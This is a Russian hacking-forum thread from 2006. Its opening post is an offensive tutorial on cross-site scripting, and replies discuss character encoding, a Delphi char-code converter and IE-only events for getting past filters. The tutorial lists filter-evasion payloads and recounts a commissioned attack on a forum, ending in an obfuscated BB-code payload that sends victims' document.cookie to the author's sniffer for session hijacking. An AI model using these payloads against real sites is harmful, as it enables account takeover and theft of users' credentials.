Статьи Xss — основные ходы

Discussion in 'Статьи' started by dinar_007, 6 May 2006.

  1. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    Сейчас по всему интернету можно встретить большое количество разнообразных форумов, гостевых книг, чатов, сайтов и других средств, созданных для нашего с вами общения. На всех этих сайтах можно выделить одну особенность — вы можете изменять их содержание и эти изменения, понятное дело, контролируются админами этих сайтов: фильтруются неугодные символы и все такое. Но иногда возникает момент, когда эти изменения выходят из под контроля. Тогда можно провести все, что угодно: php-инклудинг, SQL-инъекция и, тема этой статьи — XSS атаки.

    XSS расшифровывается ка Crossing Site Scripting. Он же межсайтовый скриптинг. Абривиатура могла бы быть CSS, но это уже забито Caskading Style Sheets — стилем. О нем позже;)

    Вся суть этой атаки заключается в том, что вы внедряете свой скрипт в чужую страницу, а этот скрипт уже работает на вас: крадет чужие куки, заставляет окно закрываться, в скрипт вмонтируется какой-нибудь сплоит и т. д.

    Теперь вся проблема заключается в том, КАК вставить свой скрипт в чужую страницу. Я опишу все известные мне методы, подразделив их на группы.

    BB-XSS.
    Вы наверное часто замечаете, что форумы, чаты и etc почти всегда дают своим пользователям возможность использовать различные виды начертаний, шрифта, цвета применительно к тексту, вставка картинок, смайликов и т.д. В реализации этого не последнюю роль играет использование кодов BB: выражений в квадратных скобках, которые при парсинге станун тегами. Например,

    перейдет в <b>
    в <i>

    и т.д.
    Не разрешать же юзерам внедрять в страницу какой не попадя код? Пусть обходяться BB кодами...

    Итак, нам надо вставить скрипт.
    Первое, что вообще надо учитывать, это какие символы и в каком месте фильтруются. Нам может понадобиться один или несколько следующих символов:' ' < > ( ) " ; - ! + = & { }`
    Поэтому просто вставляем это в тело страницы и смотрим, что фильтруется, а что нет. Учитываем небольшую особенность, что в BB тегах оно может фильтроваться, а вне нет. Но это можно обойти. Если чего-то не достает и упорно фильтруется, то это остается одно — закодировать.
    Пара слов о кодировке.
    Особенность парсинга текста в браузерах заключается в том, что расшифровка символов происходит до выполнения скрипта. Это значит например, что<IMG SRC=javascript:alert(&quot;XSS&quot;)>
    перейдет в <IMG SRC=javascript:alert("XSS")>, а затем выполнится.
    Закодировть эти символы с текстовыми метками можно:

    &quot; " двойная кавычка
    &amp; & амперсанд
    &lt; < знак 'меньше'
    &gt; > знак 'больше'

    Давайте с вами разберемся, какими способами мы вообще можем вставлять скрипты в тело страницы.

    Непосредственно
    <script>alert('lol');</script>
    Эта возможность выпадает редко и в основном в какой-нибудь личной информации пользователя, полях, который не редактируются с тектовых полей, но значения которых можно изменить в post или get запросе: например принудительно перехватить и послать на сервер подделанный пакет:
    допустим передается в пакете имя скажем цвета (red) мы можем переделать его в
    red'" >, тестируя таким образом на символы. Если что-то сработает и не отфильтруется, xss обеспечена.
    это может принять форму
    <tgname ***'red'"><script>...
    в тег тоже можно так залезть, выходя из кавычек.
    О подделке пакетов смотрите другие разделы.
    Чтобы избежать фильтрации, можно изменить регистр
    <sCript>
    Через ссылку на скрипт посредством javascript: или vbscript:
    <*** src(href,url)="javascript:alert('lol')">
    <META HTTP-EQUIV="Refresh" CONTENT=3; URL=javascript:alert('lol')">
    здесь, если название тега будет img/image, iframe, то скрипт выполниться сразу, поскольку браузер попытается подгрузить ее содержимое и наткнется на наш скрипт. Если это будет ссылка, то браузер будет ждать, пока пользователь нажмет ее.
    То же со стилем:
    <*** style=backround:url("javascript:alert('lol'")>;
    это метод плох тем, что javascript: фильтруется и сложно найти лазейку в скрипте фильтрации, которая оставит javascrip:
    Через события.
    В DHTML существует события, которые запускают скрипты.
    например событие onload применяется при загрузке картинок, фреймов, окон.
    <img src=images/smile.gif onload=alert('lol')>
    Не оставлю незамеченными такие события как
    onerror="при возникновении ошибки";
    onmouseover="при наведении курсора мышки";
    onmouseout="при убратии курсора с объекта";

    Остановлю ваше внимание на событии onerror
    удобно дать какой-нибудь картинке одрес, который никуда не ведет, что повлечет ошибку и выполнение скрипта
    <img/image src="images/smile.gifadalshexss"onerror=alert('lol')>
    через url браузера. Иногда случается, что код, который отображается в URL, становиться частью страницы. Тогда мы пишем этот код в урл, предварительно замаскировав его. Понятно, что это нада искать.
    Somesite.dn/forum/?somevar=<script>alert('lol')</script>
    Somesite.dn/forum/?somevar=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2 8%27%6C%6F%6C%27%29%3C%2F%73%63%72%69%70%74%3E

    Похоже это все, а теперь перейдем к частностям.
    В частности наличие xss-уязвимости позволяет тащить куки с сайта, а затем вставлять себе и становиться теми, у кого эти куки были взяты.
    Если уязвимость межскриптовая, то должны быть наш скрипт на сайте и еще прога, которая ловит то, что мы взяли. Например посредством GET-запроса.
    С чужого сайта приходит запрос типа netch.ru/**/pass=123&login=chel
    у нас находится скрипт, который ловит этот запрос и записывает в лог.

    А теперь небольшой пример с icon board.
    Взлом этот начался с заказа, поэтому подробности не раскрываются.

    Сначала я попробовал javascript:, но скрипт предупредил меня о серьезных намерениях рассказать все админу.
    Тогда я начал химичить с подстановкой одного тега в другой и понял, что
    внутри тега тег [color] не фильтруется. Отлично. Идем дальше. Пробуем вставить событие. После названия цвета. Но гадина не восприимала пробелы и выводила все, как обычный текст. Можно было поставить /, но я решил попробовать напрямую. И не пожалел. [COLOR=onerror='alert(1)']y' работает. Все. Остается тока добавить снифер и собрать сплоит. Но почему адреса с точками упорно не принимались. Тогда я просто воспользовался тулзой по перекодеровке и все заработало [COLOR=onerror='a=String.fromCharCode(108,111,108); alert(a)']y' Теперь все готово и мы собираем сполит
    [COLOR=onerror='img=new/**/Image();a=String.fromCharCode(а,д,р,е,с,,с,н,и,ф,е ,р,а,_,с,o,d,e,d);img.src=a+document.cookie']y'
    И ждем теперь куков.

    Вроде бы и все и.. удачной охоты.

    Взято с netch.ru
     
  2. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    а есть обратная тулза, которая коды выдаёт?
    если я буду с помощью такой тулзы обращать в коды все символы
    ' ' < > ( ) " ; - ! + = & { }`
    обеспечит ли это защиту от ксс?
     
  3. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    Да в качестве такой тулзы можно поисковики использовать =) Я так делал =)
    Типа go.mail.ru
    А защиты это ИМХо не обеспечит, хотя х.з. Чем чёрт нешутит =)
     
  4. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    я имел ввиду альтернативную функцию яваскрипта.
    есть такая?
     
  5. pch

    pch Elder - Старейшина

    Joined:
    22 Oct 2005
    Messages:
    34
    Likes Received:
    41
    Reputations:
    15
    Ну, например, есть функция encodeURIComponent(string).
    Вот пример работы
    write(encodeURIComponent('тестовая строка'));

    %D1%82%D0%B5%D1%81%D1%82%D0%BE%D0%B2%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0
     
  6. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    а почему там коды из трёх цифр без процента?
    наверно чего-то не то, но всё равно спасиба.
     
  7. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Объясняю:

    Коды с "процентами" это всего лишь кодировка url.
    Она никакой роли не играет, в основном используется для отвода глаз, когда подсовывают ссылку. Хотя если тупо написан скрипт, то позволяет обойти некоторую защиту

    А вот коды типа "99","103" и т.д. - это коды char()
    то есть это коды символов таблицы ascii
    А функция char() лишь возвращает сам символ по его коду. то есть, например, выражение "char(97)" вернет английскую букву "а"


    То есть разлечайте эти две разные вещи ;)
     
  8. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    Для кодировки в чар использую "программу" на дэлфи, если кому надо (чем черт не шутит), вот код:
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls;

    type
    TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure Edit1KeyPress(Sender: TObject; var Key: Char);
    procedure FormShow(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    var i:integer;
    begin
    Memo1.Text:='';
    for i :=1 to length(Edit1.Text) do
    begin
    Memo1.Text := Memo1.Text + IntToStr(ord(Edit1.text))+',';

    end;

    end;

    procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
    begin
    if key = #13 then Button1Click(edit1);
    end;

    procedure TForm1.FormShow(Sender: TObject);
    begin
    Memo1.Text:= 'Значение ASCII'
    end;

    end.
     
  9. Kanick

    Kanick Elder - Старейшина

    Joined:
    6 Sep 2005
    Messages:
    59
    Likes Received:
    30
    Reputations:
    32
    Кстати. Есть такое событие - onmouseenter, точная(?) копия onmouseover. Работает только в IE. Никто о нем не знает :) Я сам случайно нашел.

    Upd: И, соответственно, onmouseleave.
     
    #9 Kanick, 30 May 2006
    Last edited: 30 May 2006
  10. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Ммм.. А причём тут xss?:)
     
  11. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    Kanick, никто о нем не знает? сам нашел?)
    Наверное даже создатели явы не подозревают о его существовании? )))))))))))
     
  12. Kanick

    Kanick Elder - Старейшина

    Joined:
    6 Sep 2005
    Messages:
    59
    Likes Received:
    30
    Reputations:
    32
    Abra, вы о чем. Введите в Яндексе "onmouseleave javascript". Сечете фишку? Этого вы ни в одном руководстве не найдете. Просто это инициатива IE, который решил, что будет неплохо, если событиям onmouseover и onmouseout назначить синонимичные (как одинарной кавычке ' апостроф `). Эти события можно использовать для XSS, если фильтруются onmouseover и onmouseout - о чем, собственно, и речь. Правда, как правило, умные системы фильтруют все, начинающееся с "on". В ЖЖ, например, так.
     
  13. ivrus

    ivrus New Member

    Joined:
    25 Sep 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    огромное спасибо авторам за такого рода статьи... Очень полезны и интересны!